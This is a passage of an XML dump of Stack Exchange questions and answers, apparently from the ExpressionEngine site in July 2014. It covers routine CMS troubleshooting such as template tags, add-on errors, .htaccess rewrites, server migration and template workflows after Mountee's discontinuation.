3.0" />
  <row Id="24409" PostTypeId="2" ParentId="24403" CreationDate="2014-07-14T20:44:56.737" Score="0" Body="&lt;p&gt;Well, user error - fix was very easy - use entry_id instead of title_url:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries channel=&quot;products&quot; category=&quot;{segment_2_category_id}&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; limit=&quot;8&quot; status=&quot;open&quot; paginate=&quot;bottom&quot; dynamic=&quot;no&quot;}&#xA;&#xA;    &amp;lt;div class=&quot;col-md-3 col-sm-6 category-item&quot;&amp;gt;&#xA;        {exp:gwcode_categories group_id=&quot;1&quot; entry_id=&quot;{entry_id}&quot; last_only=&quot;yes&quot;}&#xA;        &amp;lt;a href=&quot;{site_url}{segment_1}/{segment_2}/{cat_url_title}/{url_title}&quot;&amp;gt;&#xA;            {product_image limit=&quot;1&quot;}&amp;lt;img src=&quot;{product_image:image}&quot; alt=&quot;{product_image:title}&quot; class=&quot;img-responsive&quot;&amp;gt;{/product_image}&#xA;            &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;/a&amp;gt; &#xA;        {/exp:gwcode_categories} &#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {switch='|||&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;row row-category&quot;&amp;gt;'}&#xA;&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-07-14T20:44:56.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24411" PostTypeId="1" CreationDate="2014-07-14T21:06:09.733" Score="0" ViewCount="801" Body="&lt;p&gt;Get the Error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Site temporarily unavailable.&lt;br&gt;&#xA;  Connection timed out - please try again.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;when submitting FreeForm Form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Form data is getting correctly into the table &lt;code&gt;exp_freeform_entries&lt;/code&gt;. It is not sending email notifications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure what is causing this.&#xA;It would be nice to know what file is performing the action on the form.&lt;/p&gt;&#xA;" OwnerUserId="3351" LastEditorUserId="55" LastEditDate="2014-07-15T16:06:13.860" LastActivityDate="2014-07-15T16:06:13.860" Title="Getting Site temporarily unavailable. Connection timed out - please try again. when submitting FreeForm Form" Tags="|solspace-freeform|error|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24412" PostTypeId="2" ParentId="24050" CreationDate="2014-07-14T21:52:52.487" Score="0" Body="&lt;p&gt;There's a pretty complete tutorial &lt;a href=&quot;http://joviawebstudio.com/index_ee.php/blog/using_ajax_with_solspaces_favorites_module_for_expressionengine/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3352" LastActivityDate="2014-07-14T21:52:52.487" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24413" PostTypeId="1" CreationDate="2014-07-14T22:13:12.100" Score="0" ViewCount="244" Body="&lt;p&gt;We have a static page created in which we have a bunch of links. The editor is appending the site uri automatically so it generates the wrong link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: We type &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{exp:transcribe:uri path='/'}&quot;&amp;gt;...&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then save it. It changes it to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://www.xyz.com/{exp:transcribe:uri path='/'}&quot;&amp;gt;...&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above of course generates the wrong url:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.xyz.com/http://www.xyz.com/pt-br/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am almost certain that it is a config issue but I have no idea what it is. I have searched and have found nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insight would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3353" LastEditorUserId="55" LastEditDate="2014-07-15T16:04:38.967" LastActivityDate="2019-05-21T22:03:35.683" Title="Invalid URI being generated by transcribe" Tags="|url|transcribe|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24414" PostTypeId="2" ParentId="24394" CreationDate="2014-07-14T22:36:53.707" Score="3" Body="&lt;p&gt;This error had to do with line endings in my CSV file.&lt;/p&gt;&#xA;&lt;p&gt;Our workflow is to create the entries in Excel 2011 on the Mac and Save As .CSV.&lt;/p&gt;&#xA;&lt;p&gt;Exporting Excel 2011 to .csv results in a file that is encoded &amp;quot;Western (MacOS Roman)&amp;quot; with line endings &amp;quot;Classic Mac (CR)&amp;quot;.  Changing line endings to either Unix or Windows style makes it work in Importer.  The default encoding is problematic too.&lt;/p&gt;&#xA;&lt;p&gt;I'd say this is a bug in Importer except for the fact that &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc4180#page-2&quot; rel=&quot;nofollow noreferrer&quot;&gt;the RFC specifies CRLF&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I've added a fix for this as a feature request with Solspace.&lt;/p&gt;&#xA;" OwnerUserId="210" LastEditorUserId="-1" LastEditDate="2021-10-07T06:47:20.403" LastActivityDate="2014-07-15T19:41:37.527" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24415" PostTypeId="2" ParentId="24353" CreationDate="2014-07-15T00:10:37.797" Score="0" Body="&lt;p&gt;In mid-June 2014 Chase Orbital changed how to connect to their payment gateway. Basically you will need a &quot;host&quot; parameter in the header of your xml connection document. I've updated our version of the php gateway file in CartThrob for Chase Orbital Paymentech so that it's now working. Hopefully the changes can be integrated into future versions of CartThrob but I'm not sure how to contact the developer(s), or if they already have the needed information.&lt;/p&gt;&#xA;" OwnerUserId="505" LastActivityDate="2014-07-15T00:10:37.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24417" PostTypeId="2" ParentId="24379" CreationDate="2014-07-15T05:47:35.067" Score="1" Body="&lt;p&gt;It's not possible without writing your own (wysiwyg or EE) plugin.&lt;/p&gt;&#xA;" OwnerUserId="858" LastActivityDate="2014-07-15T05:47:35.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24420" PostTypeId="2" ParentId="24379" CreationDate="2014-07-15T13:34:49.713" Score="0" Body="&lt;p&gt;You could append #whatever to {page_url} so that's it always dynamic. The anchor itself could even be drawn from a custom field within entries.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2014-07-15T13:34:49.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24422" PostTypeId="1" CreationDate="2014-07-15T14:22:11.393" Score="1" ViewCount="405" Body="&lt;p&gt;Whats the deal to moving a site to a new server? I saved all of my templates as files. And I have datagrab so I can import the entries. I've also grabbed all the plugins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But do I have to recreate the whole internal structure of the site (channels, fields, etc.)? If so OMG...&lt;/p&gt;&#xA;" OwnerUserId="2826" LastActivityDate="2014-07-18T16:28:02.993" Title="Moving site to a new server" Tags="|server-migration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24423" PostTypeId="2" ParentId="24422" CreationDate="2014-07-15T15:03:47.800" Score="2" Body="&lt;p&gt;No, you should just have to move your Database and template files to the new server.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;MODERATOR EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;LINK TO EE DOCS&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/operations/moving.html&quot; rel=&quot;nofollow&quot;&gt;Moving ExpressionEngine to Another Server&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="3192" LastEditorUserId="28" LastEditDate="2014-07-18T16:28:02.993" LastActivityDate="2014-07-18T16:28:02.993" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24424" PostTypeId="2" ParentId="24389" CreationDate="2014-07-15T16:25:01.683" Score="1" Body="&lt;p&gt;I had a similar issue to this previously. Removing the &quot;?&quot; in the last RewriteRule solved the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change in your .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps you as much as it did me.&lt;/p&gt;&#xA;" OwnerUserId="2405" LastActivityDate="2014-07-15T16:25:01.683" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24425" PostTypeId="1" AcceptedAnswerId="24430" CreationDate="2014-07-15T19:48:50.743" Score="0" ViewCount="45" Body="&lt;p&gt;I'm getting these PHP errors when I visit Channel Ratings in the control panel:&lt;/p&gt;&#xA;&lt;p&gt;Ratings, Likes, and Fields Tabs:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A PHP Error was encountered Severity: Notice Message: Array to string&#xA;conversion Filename: libraries/Ratings_helper.php Line Number: 164&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Settings Tab:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A PHP Error was encountered Severity: Notice Message: Array to string&#xA;conversion Filename: libraries/Ratings_helper.php Line Number: 164&lt;/p&gt;&#xA;&lt;p&gt;A PHP Error was encountered Severity: Notice Message: Array to string&#xA;conversion Filename: libraries/Ratings_helper.php Line Number: 164&lt;/p&gt;&#xA;&lt;p&gt;A PHP Error was encountered Severity: Notice Message: Array to string&#xA;conversion Filename: libraries/Ratings_helper.php Line Number: 164&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.9&lt;/li&gt;&#xA;&lt;li&gt;Channel Ratings 4.0.8&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-07-17T15:53:35.953" Title="Channel Ratings: PHP Errors in Control Panel" Tags="|devdemon|channel-ratings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24426" PostTypeId="5" CreationDate="2014-07-15T19:53:52.980" Score="0" Body="&lt;p&gt;Channel Ratings provides extremely accurate ability to rate and review ExpressionEngine entries. Channel Ratings allows ratings of multiple fields as well as multiple collections. Channel Ratings finally brings full scale review, ratings, and like (helpful) functionality to ExpressionEngine 2.1+.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Directly Rate and Like Multiple other Add-Ons including BrilliantRetail, Channel Images, Channel Videos, and Channel Files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devdemon.com/expressionengine-addons/channel-ratings&quot; rel=&quot;nofollow&quot;&gt;Channel Ratings on devdemon.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2014-07-15T21:46:33.280" LastActivityDate="2014-07-15T21:46:33.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24427" PostTypeId="4" CreationDate="2014-07-15T19:53:52.980" Score="0" Body="A module by DevDemon for rating channel entries." OwnerUserId="5" LastEditorUserId="5" LastEditDate="2014-07-15T21:46:19.870" LastActivityDate="2014-07-15T21:46:19.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24428" PostTypeId="5" CreationDate="2014-07-15T19:57:48.307" Score="0" Body="&lt;p&gt;DevDemon is the place to get ExpressionEngine Add-Ons.  With Modules, Extensions, Fieldtypes and Plugins that make developing for ExpressionEngine easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Website: &lt;a href=&quot;http://www.devdemon.com&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2014-07-15T21:46:12.273" LastActivityDate="2014-07-15T21:46:12.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24429" PostTypeId="4" CreationDate="2014-07-15T19:57:48.307" Score="0" Body="Developer of ExpressionEngine add-ons including Updater, Channel Images, Tagger, and Forms." OwnerUserId="5" LastEditorUserId="5" LastEditDate="2014-07-15T21:46:01.377" LastActivityDate="2014-07-15T21:46:01.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24430" PostTypeId="2" ParentId="24425" CreationDate="2014-07-15T21:00:03.617" Score="1" Body="&lt;p&gt;Can you check if the channel_ratings_router is present in exp_actions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, run these SQL queries to insert them&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO exp_actions (method, class) values('channel_ratings_router', 'Channel_ratings');&#xA;INSERT INTO exp_actions (method, class) values('insert_rating', 'Channel_ratings');&#xA;INSERT INTO exp_actions (method, class) values('insert_like', 'Channel_ratings');&#xA;INSERT INTO exp_actions (method, class) values('bayesian', 'Channel_ratings');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5gmv0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="934" LastEditorUserId="934" LastEditDate="2014-07-17T15:53:35.953" LastActivityDate="2014-07-17T15:53:35.953" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24431" PostTypeId="2" ParentId="24393" CreationDate="2014-07-15T21:02:03.570" Score="2" Body="&lt;p&gt;So this site &lt;a href=&quot;http://snazzymaps.com/&quot; rel=&quot;nofollow&quot;&gt;http://snazzymaps.com/&lt;/a&gt; has a bunch of pre-made styles and the JS that goes with them, you might be able to drop their JS into the gmap-styles.js file to get some different custom looks.  Just a thought.&lt;/p&gt;&#xA;" OwnerUserId="1809" LastActivityDate="2014-07-15T21:02:03.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24432" PostTypeId="1" CreationDate="2014-07-15T22:32:55.573" Score="3" ViewCount="435" Body="&lt;p&gt;The unexpected &lt;strong&gt;discontinuation of &lt;a href=&quot;http://hellomountee.com/support/discontinuing_mountee/&quot; rel=&quot;nofollow&quot;&gt;Mountee&lt;/a&gt;&lt;/strong&gt; (as of EE 2.8) has caught many ExpressionEngine users on the wrong foot, and left them holding back with updates or struggling to adapt to new workflows. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instantly, various commenters came forward, calling Mountee's approach broken and touting that &lt;strong&gt;Using Git&lt;/strong&gt; and &lt;strong&gt;Saving templates as files&lt;/strong&gt; were &lt;a href=&quot;https://twitter.com/kylecotter/status/466302870669643776&quot; rel=&quot;nofollow&quot;&gt;superior&lt;/a&gt;. Albeit, there are valid reasons to believe that the &lt;a href=&quot;http://www.hopstudios.com/blog/why_mountee_was_better&quot; rel=&quot;nofollow&quot;&gt;Mountee wasn't all bad&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What &lt;strong&gt;simple and efficient workflow&lt;/strong&gt; – or which set of tools – are fit &lt;strong&gt;to replace Mountee&lt;/strong&gt; in building, deploying and maintaining EECMS-powered websites?&lt;/li&gt;&#xA;&lt;li&gt;Are there &lt;strong&gt;step-by-step tutorials&lt;/strong&gt; to support users coming from Mountee that convey the herefore required knowledge?&lt;/li&gt;&#xA;&lt;li&gt;What is the &lt;strong&gt;role of Git&lt;/strong&gt; in said solution, and what are its advantages and drawbacks?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(Git may well be part of the ideal solution, but for an unexperienced user, it involves a steep learning curve; and it might be overkill for non-distributed developer environments.)&lt;/p&gt;&#xA;" OwnerUserId="399" LastEditorUserId="399" LastEditDate="2014-07-15T22:40:38.550" LastActivityDate="2014-07-16T08:48:46.300" Title="With Mountee gone, what simple and efficient workflow is there to replace it?" Tags="|templates|git|workflow|deployment|versioning|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24433" PostTypeId="1" AcceptedAnswerId="24440" CreationDate="2014-07-15T23:06:23.467" Score="2" ViewCount="54" Body="&lt;p&gt;I'm running into an issue with displaying a marquee across pages on a site that has an index page and calendar page outside of Structure, while all other pages are within Structure.  The code I'm trying to run in the header is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;demo&quot;&amp;gt;   &#xA; &amp;lt;marquee behavior=&quot;scroll&quot; scrollamount=&quot;1&quot; direction=&quot;left&quot; width=&quot;350&quot;&amp;gt;&#xA;  &amp;lt;p&amp;gt;  &#xA;   {exp:channel:entries channel=&quot;marquee&quot; limit=&quot;3&quot; status=&quot;open&quot;}&#xA;     {marquee}&#xA;   {/exp:channel:entries}&#xA;  &amp;lt;/p&amp;gt;&#xA; &amp;lt;/marquee&amp;gt;&#xA;&amp;lt;div&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It displays fine on /index and /calendar which are NOT the Structure pages. For every other page I can see the marquee loading however the content between the paragraph tags is blank such as:&#xA;    &#xA;    &#xA;      &lt;p&gt;&lt;/p&gt; &#xA;    &lt;br&gt;&#xA;    &#xA;The reason I'm wondering if this is an issue with how the templates are Structure is because when I try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;demo&quot;&amp;gt;&#xA;&amp;lt;marquee behavior=&quot;scroll&quot; scrollamount=&quot;1&quot; direction=&quot;left&quot; width=&quot;350&quot;&amp;gt;&#xA;  &amp;lt;p&amp;gt;Hello, this is a test.&amp;lt;/p&amp;gt; &#xA;&amp;lt;/marquee&amp;gt; &#xA;&amp;lt;/div&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The marquee loads as I would like it across all pages; Structure and Non-Structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get around the HTML  tag I'm using Remy Sharp's Marquee jquery in the footer as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  $('div.demo').marquee('pointer').mouseover(function () {&#xA;  $(this).trigger('stop');&#xA;  }).mouseout(function () {&#xA;  $(this).trigger('start');&#xA;  }).mousemove(function (event) {&#xA;  if ($(this).data('drag') == true) {&#xA;  this.scrollLeft = $(this).data('scrollX') + ($(this).data('x') - event.clientX);&#xA;  }&#xA;  }).mousedown(function (event) {&#xA;  $(this).data('drag', true).data('x', event.clientX).data('scrollX', this.scrollLeft);&#xA;  }).mouseup(function () {&#xA;  $(this).data('drag', false);&#xA;  });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as found on:&#xA; &lt;a href=&quot;http://remysharp.com/2008/09/10/the-silky-smooth-marquee/&quot; rel=&quot;nofollow&quot;&gt;http://remysharp.com/2008/09/10/the-silky-smooth-marquee/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas of what I'm over looking here?&lt;/p&gt;&#xA;" OwnerUserId="337" LastActivityDate="2014-07-16T10:02:03.273" Title="EE Channels in Structure?" Tags="|ee2|templates|structure|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24434" PostTypeId="2" ParentId="24432" CreationDate="2014-07-15T23:11:33.460" Score="5" Body="&lt;p&gt;I don't think it's left that many short to be honest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most developers I'm aware of save their templates as files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whilst I'd always recommend having version control in place, you don't need it, you can still save templates as files without Git.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for tutorials, the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/templates_as_files.html&quot;&gt;Ellislab docs&lt;/a&gt; are pretty explicit about how it's done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The learning curve for Git isn't that steep in my humble opinion. There are a number of Git GUI apps out there that install Git for you and make committing changes very simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Granted if you wanted to take the workflow a little further, there's some additional setup involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mountee assumes that you're also working on the live site and I don't know why any developer would ever do that - it's a recipe for disaster.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2014-07-15T23:11:33.460" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24435" PostTypeId="1" CreationDate="2014-07-16T00:45:40.837" Score="1" ViewCount="62" Body="&lt;p&gt;I am working on my first EE installs: a church (firstdomain.org) site and school (seconddomain.org) site. The main site is behaving fine. On the second site, however, if I enter the index.php (which I'll take care of, later), the correct page is called. If I enter only the domain address, I get a 404 and the address bar has reverted to domain1.org/public_html/short_name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Index.php is set as:&#xA;     $assign_to_config['site_name']  = 'short_name';&#xA;     $assign_to_config['cp_url'] = 'xxxx://seconddomain.org/admin.php';&#xA;     $assign_to_config['site_url'] = 'xxxx://seconddomain.org';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Admin.php is set as:&#xA;    $assign_to_config['site_name']  = 'short_name';&#xA;    $assign_to_config['cp_url'] = 'xxxx://seconddomain.org/admin.php';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URL to add-on site on Gen. Config. page is xxxx://seconddomain.org.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a staff of one -- design (all aspects), write, maintain, and chief bottle washer, so I while I'd like to think this is a serious problem, I'm probably just overly tired or overlooking something. Your (gentle) correction would be appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Jo&lt;/p&gt;&#xA;" OwnerUserId="3357" LastActivityDate="2014-07-16T00:45:40.837" Title="Newbie here with MSM issue" Tags="|multi-site-manager|url|admin.php|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24436" PostTypeId="2" ParentId="24432" CreationDate="2014-07-16T04:06:37.047" Score="1" Body="&lt;p&gt;Mountee shutting down forced me to change my workflow as well. Here's what's working for me:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Save templates as files.&lt;/li&gt;&#xA;&lt;li&gt;Buy Coda 2 (panic.com)&lt;/li&gt;&#xA;&lt;li&gt;Setup a site in Coda with a local git repository, and the web server as the remote location.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When I start implementing a new feature, I edit templates on the remote server. When it's all working, I sync everything back to local, and do a Git Commit. Then I sync templates on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Git repository on my local machine is in Dropbox, so that stuff is backed up as well, and is available on my other machines as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing this doesn't work for (that Mountee did) is Global Variables and Snippets, but I've been using &quot;In&quot; from Causing Effect more in place of snippets anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that makes sense.&lt;/p&gt;&#xA;" OwnerUserId="2326" LastActivityDate="2014-07-16T04:06:37.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24437" PostTypeId="2" ParentId="24432" CreationDate="2014-07-16T08:33:45.013" Score="1" Body="&lt;p&gt;Run a local dev server on your machine. To make life easy use MAMP, XAMPP, or similar. Maybe try Virtual Box/Vagrant if you're feeling saucy. I'm on a Mac so I use MAMP Pro and SequelPro to manage server and database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install Git on your local machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set up a remote &lt;strong&gt;private&lt;/strong&gt; Git repo at Bitbucket/Github. Bitbucket is free, even for private repos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set up your EE project with &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;Focus Labs Config&lt;/a&gt;. Save templates as files (at least for dev).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Work on your project in your favourite editor/IDE (I like Sublime Text). Push your work to the remote Git Repo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use DeployHQ to deploy to a remote staging server or client preview server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use DeployHQ to deploy to the production server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because you're using Focus Labs Config, you can have different settings based on the environment so, for instance, you might opt to have templates served from the database on production.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="399" LastEditDate="2014-07-16T08:48:46.300" LastActivityDate="2014-07-16T08:48:46.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24439" PostTypeId="2" ParentId="19635" CreationDate="2014-07-16T09:55:33.397" Score="2" Body="&lt;p&gt;Try this ::&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) Go to your SSL configuration file : &lt;code&gt;/etc/httpd/conf.d/ssl.con&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) Find your Virtual Host : &lt;code&gt;&amp;lt;VirtualHost_default_:443&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.) Write down : Path to your directory&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Directory &quot;/var/www/html/magento&quot;&amp;gt;&#xA;   AllowOverride All&#xA;&amp;lt;/Directory&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;4.) Restart your apache : &lt;code&gt;service httpd restart&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3360" LastActivityDate="2014-07-16T09:55:33.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24440" PostTypeId="2" ParentId="24433" CreationDate="2014-07-16T10:02:03.273" Score="2" Body="&lt;p&gt;Try adding a dynamic=&quot;off&quot; parameter to your channel entries tag - though I'm not sure how this will pan out with Structure.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;marquee&quot; limit=&quot;3&quot; status=&quot;open&quot; dynamic=&quot;off&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-07-16T10:02:03.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24441" PostTypeId="1" AcceptedAnswerId="24446" CreationDate="2014-07-16T10:37:09.780" Score="0" ViewCount="66" Body="&lt;p&gt;I'm building a new fieldtype which should be used with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;single tag:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{myfield}&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;...which correctly calls replace_tag() method&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;single tag with modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{myfield:modifier}&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;...which correctly calls replace_tag_catchall()&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;tag pair:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{myfield}{somedata}{/myfield}&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;...which correctly calls replace_tag()&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;but I also need tag pair with modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{myfield:modifier}{somedata}{/myfield:modifier}&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;...which should call replace_tag_catchall(), but it's not calling anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/fieldtypes.html#creating-multiple-rendering-options&quot; rel=&quot;nofollow&quot;&gt;The documentation&lt;/a&gt; is relatively clear that it should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how I can make the miracle happen?&lt;/p&gt;&#xA;" OwnerUserId="190" LastActivityDate="2014-07-16T12:37:34.923" Title="Custom fieldtype: tag pair and replace_tag_catchall()" Tags="|add-on-development|custom-fields|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
